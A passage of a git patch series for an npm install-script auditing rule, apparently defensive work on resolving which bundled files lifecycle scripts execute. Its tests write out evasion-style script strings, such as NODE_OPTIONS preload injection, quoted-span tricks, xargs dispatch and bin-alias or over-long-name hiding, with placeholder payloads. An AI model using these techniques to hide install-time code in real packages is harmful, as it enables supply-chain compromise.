quoted `--title` is not a preload flag. - Bin targets and command names use npm's normalization (`\` to `/`, then `path.posix.join("/", v).slice(1)`, so `..` clamps at the root). - `xargs` is a wrapper, so its command operand gets the bundled-bin lookup. - A dotted relative preload also tries `.js` through the suffix lookup (after a `cd`). - Each bundled package is resolved once, cached by directory (misses included), and merged into a hook's result once, with no duplicate spill entries. - A package that cannot be enumerated cheaply fails closed: when its directory name is over 214 characters or its `exports` walk hits the node bound, every retained code file under it counts as executed. One pass groups the retained files by package directory. - The shell-builtin skip list is limited to builtins of every shell npm may use. Refs #87 --- packages/core/src/rules/install-scripts.ts | 150 +++++++++++------- .../test/security-bundled-modules.test.ts | 53 ++++++- 2 files changed, 142 insertions(+), 61 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 446aa30..5b9e3a5 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -1,4 +1,5 @@ import type { AuditInput, Finding, PackageFile, Rule } from "../types.js"; +import { posix } from "node:path"; import { mkFinding, scanLines, truncate } from "./util.js"; const LIFECYCLE = ["preinstall", "install", "postinstall"] as const; @@ -151,7 +152,7 @@ function substitutionBodies(cmd: string): string[] { } return bodies; } -const WRAPPERS = new Set(["env", "exec", "nohup", "time", "command", "npx", "sudo"]); +const WRAPPERS = new Set(["env", "exec", "nohup", "time", "command", "npx", "sudo", "xargs"]); // Inline-code flags differ per interpreter (`sh -e` is errexit, not inline code). const SHELL_INLINE = /^-[a-z]*c[a-z]*$/i; // `-c`, `-ec`, `-lc` const NODE_INLINE = /^(?:-[ep]|-pe|--eval(?:=.*)?|--print(?:=.*)?)$/; @@ -230,70 +231,92 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } return hit ?? undefined; }; - let spill: PackageFile[] = []; // extra candidates a resolution found besides the one it returned + let spill = new Set(); // extra candidates a resolution found besides the one it returned const spillAll = (hits: (PackageFile | undefined)[]): PackageFile | undefined => { const [first, ...rest] = new Set(hits.filter((f): f is PackageFile => !!f)); - for (const f of rest) spill.push(f); + for (const f of rest) spill.add(f); return first; }; - // Bare module names resolve inside the tarball only (never the host or network). Over-follow: the spec as a file - // (`.js`/`.mjs`/`.cjs`), the package main / index.js, and every string target of the package's `exports`. - const exportTargets = new Map(); - const targetsOf = (pkgDir: string): string[] => { - let t = exportTargets.get(pkgDir); - if (!t) { - t = []; - let exp: unknown; - try { exp = JSON.parse(exact(`${pkgDir}/package.json`)?.content ?? "null")?.exports; } catch { /* no exports */ } - for (let stack: unknown[] = [exp], seen = 0; stack.length && seen < 1000; seen++) { // node bound - const v = stack.pop(); - if (typeof v === "string") { const n = normalizeRel(v); if (n) t.push(n); } - else if (v && typeof v === "object") for (const c of Object.values(v)) stack.push(c); + let merged = new Set(); // packages and bin names already merged into this hook's result + const once = (key: string): boolean => !merged.has(key) && !!merged.add(key); + + // Bundled packages resolve inside the tarball only (never the host or network), once per package directory. + // One pass groups the retained files by package directory. + let pkgIndex: Map | undefined; + const filesIn = (pkgDir: string): PackageFile[] => { + if (!pkgIndex) { + pkgIndex = new Map(); + for (const f of files) { + const d = /^(package\/node_modules\/(?:@[^/]+\/)?[^/]+)\//.exec(f.path)?.[1]; + if (d) (pkgIndex.get(d) ?? pkgIndex.set(d, []).get(d)!).push(f); } - exportTargets.set(pkgDir, t); } - return t; + return pkgIndex.get(pkgDir) ?? []; }; - const modules = new Map(); - const resolveModule = (spec: string): (PackageFile | undefined)[] => { - let hits = modules.get(spec); - if (!hits) { - const m = `package/node_modules/${spec}`; - const pkg = `package/node_modules/${spec.split("/").slice(0, spec.startsWith("@") ? 2 : 1).join("/")}`; - hits = [exact(m), exact(`${m}.js`), exact(`${m}.mjs`), exact(`${m}.cjs`), entry(m), ...targetsOf(pkg).map((t) => exact(`${pkg}/${t}`))]; - modules.set(spec, hits); + // Over-follow: the package main / index.js and every string target of its `exports`. Fail closed: when the + // package cannot be enumerated cheaply (over-long name, `exports` over the node bound), every retained code file + // in it counts as executed. + const candidates = new Map(); + const candidatesOf = (pkgDir: string): PackageFile[] => { + let c = candidates.get(pkgDir); + if (!c) { + let closed = pkgDir.slice("package/node_modules/".length).split("/").some((n) => n.length > 214); // npm names are at most 214 chars + const targets: string[] = []; + if (!closed) { + let exp: unknown; + try { exp = JSON.parse(exact(`${pkgDir}/package.json`)?.content ?? "null")?.exports; } catch { /* no exports */ } + const stack: unknown[] = [exp]; + for (let seen = 0; stack.length; seen++) { + if (seen >= 1000) { closed = true; break; } // node bound + const v = stack.pop(); + if (typeof v === "string") { const n = normalizeRel(v); if (n) targets.push(n); } + else if (v && typeof v === "object") for (const x of Object.values(v)) stack.push(x); + } + } + c = closed ? filesIn(pkgDir).filter((f) => PKG_CODE.test(f.path)) : [entry(pkgDir), ...targets.map((t) => exact(`${pkgDir}/${t}`))].filter((f): f is PackageFile => !!f); + candidates.set(pkgDir, c); } - return hits; + return c; + }; + // The spec as a file (`.js`/`.mjs`/`.cjs`), its own main / index.js, and its package's candidates (once per hook). + const resolveModule = (spec: string): (PackageFile | undefined)[] => { + const m = `package/node_modules/${spec}`; + const pkg = `package/node_modules/${spec.split("/").slice(0, spec.startsWith("@") ? 2 : 1).join("/")}`; + return [exact(m), exact(`${m}.js`), exact(`${m}.mjs`), exact(`${m}.cjs`), entry(m), ...(once(`pkg:${pkg}`) ? candidatesOf(pkg) : [])]; }; // Every file a bundled package's `bin` (a string or an object) points at, per command name, plus `node_modules/.bin/`. - // The map is built once on first use; targets are exact normalized paths, in any tar order. - let bins: Map> | undefined; + // Built once on first use, in any tar order; targets are npm-normalized exact paths. A package that fails closed + // contributes all of its code files. + let bins: Map> | undefined; const bundledBins = (name: string): (PackageFile | undefined)[] => { if (!bins) { bins = new Map(); for (const f of files) { const pkg = /^package\/node_modules\/((?:@[^/]+\/)?[^/]+)\/package\.json$/.exec(f.path)?.[1]; - if (!pkg || pkg.split("/").some((c) => c.length > 214)) continue; // npm names are at most 214 chars + if (!pkg) continue; let bin: unknown; try { bin = JSON.parse(f.content)?.bin; } catch { continue; } - const map: Record = typeof bin === "string" ? { [pkg.slice(pkg.lastIndexOf("/") + 1)]: bin } : bin && typeof bin === "object" ? (bin as Record) : {}; - for (const [n, rel] of Object.entries(map)) { + const map: Record = typeof bin === "string" ? { [pkg]: bin } : bin && typeof bin === "object" ? (bin as Record) : {}; + for (const [key, rel] of Object.entries(map)) { + const n = normalizeRel(key)?.split("/").pop(); // npm: the command name is the normalized key's basename const r = typeof rel === "string" ? normalizeRel(rel) : undefined; - const hit = r ? exact(`package/node_modules/${pkg}/${r}`) : undefined; + if (!n || !r) continue; + const dir = `package/node_modules/${pkg}`; + const hit = pkg.split("/").some((c) => c.length > 214) ? dir : exact(`${dir}/${r}`); if (hit) (bins.get(n) ?? bins.set(n, new Set()).get(n)!).add(hit); } } } - return [...(bins.get(name) ?? []), exact(`package/node_modules/.bin/${name}`)]; + return [...(bins.get(name) ?? [])].flatMap((h) => (typeof h === "string" ? candidatesOf(h) : [h])).concat(exact(`package/node_modules/.bin/${name}`) ?? []); }; // The file a preload flag value (`-r `) loads: a local path, else a bundled module. The `.js` retry applies - // even when the basename has a dot (`./hook.prod`). + // even when the basename has a dot (`./hook.prod`), also after a `cd` (suffix lookup). const preload = (value: string): PackageFile | undefined => { const v = trimPunct(value); if (!v) return undefined; - return spillAll(LOCAL_PATH.test(v) - ? [resolveWord(v, "script"), v.startsWith("/") ? undefined : exact(`package/${v.replace(/^\.\//, "")}.js`)] - : resolveModule(v)); + if (!LOCAL_PATH.test(v)) return spillAll(resolveModule(v)); + const ref = v.replace(/^\.\//, ""); + return spillAll([resolveWord(v, "script"), ...(v.startsWith("/") ? [] : [exact(`package/${ref}.js`), suffix(`${ref}.js`)])]); }; /** Tokens of a `VAR=value` assignment (`NODE_OPTIONS`): recognized preload flags (`-r x`, `--require=x`) and relative code files. */ const scanOptionTokens = (tokens: string[], out: Set): void => { @@ -321,7 +344,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (!dotted) hit ??= exact(`package/${ref}.ts`); if (!hit) return nested(); const n = nested(); // over-follow: a root candidate must not hide a nested file the suffix lookup finds - if (n && n !== hit) spill.push(n); + if (n && n !== hit) spill.add(n); return hit; }; const resolveWord = (word: string, mode: Mode): PackageFile | undefined => { @@ -343,7 +366,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (w.includes("/")) return resolveWord(t, "path"); const own = WRAPPERS.has(t) || Object.hasOwn(INLINE_FLAG, t) ? exact(`package/${t}`) : undefined; // A shell builtin in direct command position never runs a bundled bin; behind `env`/`sudo`/... it does. - return spillAll([own, ...(direct && SHELL_BUILTINS.has(t) ? [] : bundledBins(t))]); + return spillAll([own, ...(direct && SHELL_BUILTINS.has(t) || !once(`bin:${t}`) ? [] : bundledBins(t))]); }; const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(trimPunct(words[i]!))) || (i > 0 && WRAPPERS.has(base(trimPunct(words[i - 1]!))) && words[i]!.startsWith("-")); @@ -412,7 +435,6 @@ function makeResolver(files: PackageFile[], scripts: Record): (c }; let i = 0; let viaWrapper = false; // after `env`/`sudo`/... the next word is an external command, never a builtin - let spanEnd = -1; // last word of the quoted assignment value being spanned: each word is spanned at most once for (; i < words.length && isPrefix(words, i); i++) { const local = localCommand(words[i]!, !viaWrapper); if (local) out.add(local); @@ -422,11 +444,16 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (eq < 0) continue; let val = words[i]!.slice(eq + 1); // `NODE_OPTIONS='-r ./hook'`: a quote left open by the word spans to the next word that ends with it. The - // spanned words are also read as normal words (no skipping), so spanning only adds coverage. - const q = i > spanEnd ? openQuote(val) : ""; + // spanned words are also scanned as a command line of their own, then prefix parsing resumes after the span. + const q = openQuote(val); const e = q ? nextClose(q, i + 1) : undefined; - if (e !== undefined) { val += ` ${rawWords.slice(i + 1, e + 1).join(" ")}`; spanEnd = e; } - scanOptionTokens(unquote(val).split(/\s+/), out); + if (e !== undefined) { + const spanned = rawWords.slice(i + 1, e + 1).join(" "); + val += ` ${spanned}`; + if (depth < MAX_INLINE_DEPTH) scan(spanned, out, depth + 1); + i = e; + } + scanOptionTokens(splitUnquoted(unquote(val)), out); } const command = words[i]; if (!command) continue; @@ -510,7 +537,8 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const out = new Set(); visited = new Set(); queue = []; - spill = []; + spill = new Set(); + merged = new Set(); scan(cmd, out, 0); for (let q = 0; q < queue.length; q++) scan(queue[q]![1], out, 0); // the queue grows while it is read for (const f of spill) out.add(f); @@ -522,12 +550,9 @@ const MAX_INLINE_DEPTH = 3; const LOCAL_PATH = /^(?:\.{1,2}\/|\/)/; // Wrappers that exec an external program: `env echo` runs a bundled `echo` bin, a bare `echo` is the builtin. const EXTERNAL_WRAPPERS = new Set(["env", "exec", "nohup", "sudo", "npx", "xargs"]); -const SHELL_BUILTINS = new Set([ - ":", ".", "[", "alias", "bg", "break", "cd", "command", "continue", "declare", "dirs", "echo", "eval", "exec", "exit", "export", - "false", "fg", "getopts", "hash", "help", "history", "jobs", "kill", "let", "local", "popd", "printf", "pushd", "pwd", "read", - "readonly", "return", "set", "shift", "source", "test", "time", "times", "trap", "true", "type", "typeset", "ulimit", "umask", - "unalias", "unset", "wait", -]); +// Builtins of every shell npm may use (sh, bash, dash, zsh, cmd): in direct command position they never run a bundled bin. +const SHELL_BUILTINS = new Set([":", "[", "cd", "echo", "exit", "export", "false", "printf", "pwd", "read", "set", "shift", "test", "true", "umask", "unset", "wait"]); +const PKG_CODE = /\.(?:c?js|mjs|m?ts|cts|jsx|tsx|sh|py|pl|rb)$/i; /** The quote character a shell word leaves open (`'-r`), counting unescaped quotes; "" when balanced. */ function openQuote(w: string): string { @@ -541,15 +566,26 @@ function openQuote(w: string): string { return q; } -/** A declared relative path as npm normalizes it (`./a/../b` -> `b`); undefined when empty or it climbs out (`..`). */ +/** A declared relative path as npm normalizes it: `\` to `/`, then `path.posix.join("/", v).slice(1)` (clamps `..` at the root). */ function normalizeRel(rel: string): string | undefined { + return posix.join("/", rel.replace(/\\/g, "/")).slice(1) || undefined; +} + +/** Split on whitespace outside quotes, keeping quoted arguments whole. */ +function splitUnquoted(s: string): string[] { const out: string[] = []; - for (const seg of rel.split("/")) { - if (seg === "" || seg === ".") continue; - if (seg === "..") { if (!out.pop()) return undefined; } else out.push(seg); + let start = 0; + let q = ""; + for (let i = 0; i <= s.length; i++) { + const c = s[i]; + if (c === undefined || (!q && /\s/.test(c))) { if (i > start) out.push(s.slice(start, i)); start = i + 1; } + else if (c === "\\" && q !== "'") i++; + else if (q) { if (c === q) q = ""; } + else if (c === "'" || c === '"') q = c; } - return out.join("/") || undefined; + return out; } + const base = (w: string) => w.slice(w.lastIndexOf("/") + 1); const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); // Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). diff --git a/packages/core/test/security-bundled-modules.test.ts b/packages/core/test/security-bundled-modules.test.ts index 24aa7a7..2772e93 100644 --- a/packages/core/test/security-bundled-modules.test.ts +++ b/packages/core/test/security-bundled-modules.test.ts @@ -86,7 +86,8 @@ describe("round 2 hardening", () => { assert.deepEqual(sev("evil", { ...a, ...b }), ["critical"]); assert.deepEqual(sev("evil", { ...b, ...a }), ["critical"]); assert.deepEqual(sev("evil", { ...a, "package/node_modules/.bin/evil": BENIGN, ...b }), ["critical"]); - assert.deepEqual(sev("evil", { ...b, "package/node_modules/.bin/evil": PAYLOAD, ...a }), ["critical"]); + // the exact .bin file alone is dangerous + assert.deepEqual(sev("evil", { ...a, "package/node_modules/b/package.json": b["package/node_modules/b/package.json"], "package/node_modules/b/y.js": BENIGN, "package/node_modules/.bin/evil": PAYLOAD }), ["critical"]); }); test("a preload flag is parsed only as a flag, with its value unquoted", () => { const mod = { "package/node_modules/logger/index.js": PAYLOAD }; @@ -97,7 +98,11 @@ describe("round 2 hardening", () => { test("bin targets are exact normalized paths: no .js appended, no `..`", () => { const pkg = (bin: string) => ({ "package/node_modules/evil/package.json": JSON.stringify({ bin }) }); assert.deepEqual(sev("evil", { ...pkg("cli"), "package/node_modules/evil/cli.js": PAYLOAD }), ["low"]); + // `..` is clamped at the package root, as npm does + assert.deepEqual(sev("evil", { ...pkg("../cli.js"), "package/node_modules/evil/cli.js": PAYLOAD }), ["critical"]); assert.deepEqual(sev("evil", { ...pkg("../outside.js"), "package/node_modules/outside.js": PAYLOAD }), ["low"]); + assert.deepEqual(sev("evil", { ...pkg("bin\\cli.js"), "package/node_modules/evil/bin/cli.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("evil", { "package/node_modules/evil/package.json": '{"bin":{"sub/evil":"cli.js"}}', "package/node_modules/evil/cli.js": PAYLOAD }), ["critical"]); assert.deepEqual(sev("evil", { ...pkg("./bin/../cli.js"), "package/node_modules/evil/cli.js": PAYLOAD }), ["critical"]); }); test("shell builtins skip the bin lookup unless a wrapper dispatches them", () => { @@ -106,9 +111,49 @@ describe("round 2 hardening", () => { assert.deepEqual(sev("env echo ready", bins), ["critical"]); assert.deepEqual(sev("sudo echo ready", bins), ["critical"]); }); - test("a package directory with an over-long name is skipped", () => { - const name = "a".repeat(215); - assert.deepEqual(sev("evil", { [`package/node_modules/${name}/package.json`]: '{"bin":{"evil":"cli.js"}}', [`package/node_modules/${name}/cli.js`]: PAYLOAD }), ["low"]); + test("a package that cannot be enumerated cheaply fails closed: every code file in it counts", () => { + const long = "a".repeat(215); + const dir = `package/node_modules/${long}`; + assert.deepEqual(sev("evil", { [`${dir}/package.json`]: '{"bin":{"evil":"cli.js"}}', [`${dir}/cli.js`]: BENIGN, [`${dir}/lib/other.js`]: PAYLOAD }), ["critical"]); + assert.deepEqual(sev(`node -r ${long} setup.js`, { ...setup, [`${dir}/lib/other.js`]: PAYLOAD }), ["critical"]); + assert.deepEqual(sev("evil", { [`${dir}/package.json`]: '{"bin":{"evil":"cli.js"}}', [`${dir}/lib/other.js`]: BENIGN }), ["low"]); + // an `exports` map over the node bound + const exports: Record = {}; + for (let i = 0; i < 1100; i++) exports[`./f${i}`] = `./f${i}.js`; + const big = { "package/node_modules/evil/package.json": JSON.stringify({ exports }), "package/node_modules/evil/hidden/run.js": PAYLOAD }; + assert.deepEqual(sev("node -r evil setup.js", { ...setup, ...big }), ["critical"]); + assert.deepEqual(sev("node -r evil setup.js", { ...setup, ...big, "package/node_modules/evil/hidden/run.js": BENIGN }), ["low"]); + }); + test("a quoted assignment resumes prefix parsing after its closing quote", () => { + assert.deepEqual(sev("NODE_OPTIONS='-r ./hook' node setup", { "package/hook.js": BENIGN, "package/setup": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS='-r ./hook' node setup", { "package/hook.js": BENIGN, "package/setup": BENIGN }), ["low"]); + assert.deepEqual(sev("A='x y' NODE_OPTIONS=--require=./h.js node -v", { "package/h.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("A='x y' NODE_OPTIONS=--require=./h.js node -v", { "package/h.js": BENIGN }), ["low"]); + }); + test("option text inside a quoted argument is not a preload flag", () => { + const mod = { "package/node_modules/evil/index.js": PAYLOAD }; + assert.deepEqual(sev('NODE_OPTIONS=--title="a --require evil" node -v', mod), ["low"]); + assert.deepEqual(sev("NODE_OPTIONS='--title=\"a --require evil\"' node -v", mod), ["low"]); + }); + test("xargs hands its command operand to the bundled-bin lookup", () => { + assert.deepEqual(sev("xargs evil-bin", { "package/node_modules/.bin/evil-bin": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("xargs evil-bin", { "package/node_modules/.bin/evil-bin": BENIGN }), ["low"]); + }); + test("a dotted relative preload gets .js after a cd too", () => { + assert.deepEqual(sev("cd scripts && node -r ./hook.prod setup.js", { ...setup, "package/scripts/hook.prod.js": PAYLOAD }), ["critical"]); + }); + test("a package referenced many times is merged once: stays fast", () => { + const exports: Record = {}; + for (let i = 0; i < 900; i++) exports[`./f${i}`] = `./f${i}.js`; + const files = { ...setup, "package/node_modules/evil/package.json": JSON.stringify({ exports }) }; + const t0 = performance.now(); + assert.deepEqual(sev(`node ${"-r evil ".repeat(20000)}setup.js`, files), ["low"]); + const ms = performance.now() - t0; + assert.ok(ms < 1000, `took ${ms} ms`); + }); + test("shell builtins outside the portable set still look up bundled bins", () => { + assert.deepEqual(sev("let x", { "package/node_modules/.bin/let": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("pwd", { "package/node_modules/.bin/pwd": PAYLOAD }), ["low"]); }); row("a dotted relative preload gets .js", "node -r ./hook.prod setup.js", "package/hook.prod.js", setup); row("a bundled module reachable only through exports", "node -r evil setup.js", "package/node_modules/evil/lib/cjs.js", { From 91e0a0a5052a3867dd06862c65145ef8f5197aef Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:47:25 +0200 Subject: [PATCH 4/7] fix(core): merge bundled packages once per hook and widen the fail-closed set - A fail-closed package's file list is merged through the per-hook package guard for bin aliases as well as module fallbacks, so any number of aliases merges it at most once. - A fail-closed package counts every retained file under its directory, not only code files; its entry, declared bin targets and `exports` targets are among them. - Bin command names follow npm's order: `\` and `:` to `/`, basename, then normalize. - `NODE_OPTIONS` tokens are the union of a quote-aware and a plain whitespace split, so tokenizer differences with Node can only add coverage. This replaces the quote-aware-only expectation in the test. - A quoted assignment span ends at the first word holding an unescaped closing quote, so an unquoted suffix after it (`'x y'z`) no longer hides the assignments that follow. Refs #87 --- packages/core/src/rules/install-scripts.ts | 31 +++++++++++----- .../test/security-bundled-modules.test.ts | 37 +++++++++++++++++-- 2 files changed, 55 insertions(+), 13 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 5b9e3a5..7435f75 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -254,8 +254,8 @@ function makeResolver(files: PackageFile[], scripts: Record): (c return pkgIndex.get(pkgDir) ?? []; }; // Over-follow: the package main / index.js and every string target of its `exports`. Fail closed: when the - // package cannot be enumerated cheaply (over-long name, `exports` over the node bound), every retained code file - // in it counts as executed. + // package cannot be enumerated cheaply (over-long name, `exports` over the node bound), every retained file in + // it counts as executed (which includes its entry, its declared bin targets and any `exports` targets). const candidates = new Map(); const candidatesOf = (pkgDir: string): PackageFile[] => { let c = candidates.get(pkgDir); @@ -273,7 +273,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c else if (v && typeof v === "object") for (const x of Object.values(v)) stack.push(x); } } - c = closed ? filesIn(pkgDir).filter((f) => PKG_CODE.test(f.path)) : [entry(pkgDir), ...targets.map((t) => exact(`${pkgDir}/${t}`))].filter((f): f is PackageFile => !!f); + c = closed ? filesIn(pkgDir) : [entry(pkgDir), ...targets.map((t) => exact(`${pkgDir}/${t}`))].filter((f): f is PackageFile => !!f); candidates.set(pkgDir, c); } return c; @@ -286,7 +286,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c }; // Every file a bundled package's `bin` (a string or an object) points at, per command name, plus `node_modules/.bin/`. // Built once on first use, in any tar order; targets are npm-normalized exact paths. A package that fails closed - // contributes all of its code files. + // contributes all of its files, merged once per hook like a module's package fallback. let bins: Map> | undefined; const bundledBins = (name: string): (PackageFile | undefined)[] => { if (!bins) { @@ -298,7 +298,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c try { bin = JSON.parse(f.content)?.bin; } catch { continue; } const map: Record = typeof bin === "string" ? { [pkg]: bin } : bin && typeof bin === "object" ? (bin as Record) : {}; for (const [key, rel] of Object.entries(map)) { - const n = normalizeRel(key)?.split("/").pop(); // npm: the command name is the normalized key's basename + const n = posix.join("/", posix.basename(key.replace(/[\\:]/g, "/"))).slice(1); // npm: `\` and `:` to `/`, basename, then normalize const r = typeof rel === "string" ? normalizeRel(rel) : undefined; if (!n || !r) continue; const dir = `package/node_modules/${pkg}`; @@ -307,7 +307,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } } } - return [...(bins.get(name) ?? [])].flatMap((h) => (typeof h === "string" ? candidatesOf(h) : [h])).concat(exact(`package/node_modules/.bin/${name}`) ?? []); + return [...(bins.get(name) ?? [])].flatMap((h) => (typeof h !== "string" ? [h] : once(`pkg:${h}`) ? candidatesOf(h) : [])).concat(exact(`package/node_modules/.bin/${name}`) ?? []); }; // The file a preload flag value (`-r `) loads: a local path, else a bundled module. The `.js` retry applies // even when the basename has a dot (`./hook.prod`), also after a `cd` (suffix lookup). @@ -427,8 +427,9 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // Indexes of words ending in each quote char, built once per command so repeated inline flags // do not rescan the remaining arguments. const closers: Record = {}; - const nextClose = (q: string, from: number): number | undefined => { - const list = (closers[q] ??= rawWords.flatMap((rw, k) => (rw.endsWith(q) ? [k] : []))); + const nextClose = (q: string, from: number, anywhere = false): number | undefined => { + const key = anywhere ? `${q}*` : q; + const list = (closers[key] ??= rawWords.flatMap((rw, k) => ((anywhere ? hasUnescaped(rw, q) : rw.endsWith(q)) ? [k] : []))); let lo = 0, hi = list.length; while (lo < hi) { const mid = (lo + hi) >> 1; if (list[mid]! < from) lo = mid + 1; else hi = mid; } return list[lo]; @@ -446,14 +447,16 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // `NODE_OPTIONS='-r ./hook'`: a quote left open by the word spans to the next word that ends with it. The // spanned words are also scanned as a command line of their own, then prefix parsing resumes after the span. const q = openQuote(val); - const e = q ? nextClose(q, i + 1) : undefined; + const e = q ? nextClose(q, i + 1, true) : undefined; if (e !== undefined) { const spanned = rawWords.slice(i + 1, e + 1).join(" "); val += ` ${spanned}`; if (depth < MAX_INLINE_DEPTH) scan(spanned, out, depth + 1); i = e; } + // Node's tokenizer may differ from ours: scan the quote-aware and the plain split, so a difference only adds coverage. scanOptionTokens(splitUnquoted(unquote(val)), out); + scanOptionTokens(unquote(val).split(/\s+/).filter(Boolean), out); } const command = words[i]; if (!command) continue; @@ -552,7 +555,6 @@ const LOCAL_PATH = /^(?:\.{1,2}\/|\/)/; const EXTERNAL_WRAPPERS = new Set(["env", "exec", "nohup", "sudo", "npx", "xargs"]); // Builtins of every shell npm may use (sh, bash, dash, zsh, cmd): in direct command position they never run a bundled bin. const SHELL_BUILTINS = new Set([":", "[", "cd", "echo", "exit", "export", "false", "printf", "pwd", "read", "set", "shift", "test", "true", "umask", "unset", "wait"]); -const PKG_CODE = /\.(?:c?js|mjs|m?ts|cts|jsx|tsx|sh|py|pl|rb)$/i; /** The quote character a shell word leaves open (`'-r`), counting unescaped quotes; "" when balanced. */ function openQuote(w: string): string { @@ -566,6 +568,15 @@ function openQuote(w: string): string { return q; } +/** Whether a word holds an unescaped quote character `q` (it closes a span opened by `q`). */ +function hasUnescaped(w: string, q: string): boolean { + for (let i = 0; i < w.length; i++) { + if (w[i] === "\\" && q !== "'") i++; + else if (w[i] === q) return true; + } + return false; +} + /** A declared relative path as npm normalizes it: `\` to `/`, then `path.posix.join("/", v).slice(1)` (clamps `..` at the root). */ function normalizeRel(rel: string): string | undefined { return posix.join("/", rel.replace(/\\/g, "/")).slice(1) || undefined; diff --git a/packages/core/test/security-bundled-modules.test.ts b/packages/core/test/security-bundled-modules.test.ts index 2772e93..5cd1551 100644 --- a/packages/core/test/security-bundled-modules.test.ts +++ b/packages/core/test/security-bundled-modules.test.ts @@ -130,10 +130,41 @@ describe("round 2 hardening", () => { assert.deepEqual(sev("A='x y' NODE_OPTIONS=--require=./h.js node -v", { "package/h.js": PAYLOAD }), ["critical"]); assert.deepEqual(sev("A='x y' NODE_OPTIONS=--require=./h.js node -v", { "package/h.js": BENIGN }), ["low"]); }); - test("option text inside a quoted argument is not a preload flag", () => { + test("option tokens are the union of a quote-aware and a plain whitespace split", () => { const mod = { "package/node_modules/evil/index.js": PAYLOAD }; - assert.deepEqual(sev('NODE_OPTIONS=--title="a --require evil" node -v', mod), ["low"]); - assert.deepEqual(sev("NODE_OPTIONS='--title=\"a --require evil\"' node -v", mod), ["low"]); + // Node's own tokenizer may differ from ours, so text that only a plain split sees as a flag is followed too + assert.deepEqual(sev('NODE_OPTIONS=--title="a --require evil" node -v', mod), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS='--title=\"a --require evil\"' node -v", mod), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS=--title=x node -v", mod), ["low"]); + }); + test("a bin key is normalized as npm does: separators and colons, then the basename", () => { + const pkg = (key: string) => ({ "package/node_modules/evil/package.json": JSON.stringify({ bin: { [key]: "cli.js" } }), "package/node_modules/evil/cli.js": PAYLOAD }); + assert.deepEqual(sev("evil", pkg("foo:evil")), ["critical"]); + assert.deepEqual(sev("evil", pkg("foo\\evil")), ["critical"]); + assert.deepEqual(sev("foo:evil", pkg("foo:evil")), ["low"]); + }); + test("a fail-closed package counts every retained file, not only code", () => { + const dir = `package/node_modules/${"a".repeat(215)}`; + assert.deepEqual(sev("evil", { [`${dir}/package.json`]: '{"bin":{"evil":"cli.js"}}', [`${dir}/notes.txt`]: PAYLOAD }), ["critical"]); + const exports: Record = {}; + for (let i = 0; i < 1100; i++) exports[`./f${i}`] = `./f${i}.js`; + const big = { "package/node_modules/evil/package.json": JSON.stringify({ exports }), "package/node_modules/evil/data/blob": PAYLOAD }; + assert.deepEqual(sev("node -r evil setup.js", { ...setup, ...big }), ["critical"]); + }); + test("many bin aliases of a fail-closed package merge its file list once", () => { + const dir = `package/node_modules/${"a".repeat(215)}`; + const bin: Record = {}; + for (let i = 0; i < 20000; i++) bin[`b${i}`] = "cli.js"; + const files: Record = { [`${dir}/package.json`]: JSON.stringify({ bin }) }; + for (let i = 0; i < 1500; i++) files[`${dir}/lib/f${i}.js`] = BENIGN; + const t0 = performance.now(); + assert.deepEqual(sev(Array.from({ length: 20000 }, (_, i) => `b${i}`).join(" && "), files), ["low"]); + const ms = performance.now() - t0; + assert.ok(ms < 1000, `took ${ms} ms`); + }); + test("a closing quote followed by an unquoted suffix still ends the span", () => { + assert.deepEqual(sev("A='x y'z NODE_OPTIONS=--require=./h node -v", { "package/h.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("A='x y'z NODE_OPTIONS=--require=./h node -v", { "package/h.js": BENIGN }), ["low"]); }); test("xargs hands its command operand to the bundled-bin lookup", () => { assert.deepEqual(sev("xargs evil-bin", { "package/node_modules/.bin/evil-bin": PAYLOAD }), ["critical"]); From 93d3d27bd9c5c035f8a3db852739ef2b970a6950 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:51:25 +0200 Subject: [PATCH 5/7] fix(core): track quote parity across a quoted assignment span A quoted assignment value now ends at the first word after which the quote state is balanced, found by feeding each following word through the same quote and escape state machine. `A='x y'z'w q' node setup` no longer ends early and still reaches an extension-less `setup`. Spans never overlap, and a per-command word budget keeps the walks linear; an unbalanced span consumes only its own word. `NODE_OPTIONS` values are also scanned after shell quote removal (`--require=./a'b'.js` is `./ab.js`), as part of the existing union of tokenizations. Refs #87 --- packages/core/src/rules/install-scripts.ts | 37 ++++++++++++------- .../test/security-bundled-modules.test.ts | 8 ++++ 2 files changed, 32 insertions(+), 13 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 7435f75..0df612d 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -427,14 +427,14 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // Indexes of words ending in each quote char, built once per command so repeated inline flags // do not rescan the remaining arguments. const closers: Record = {}; - 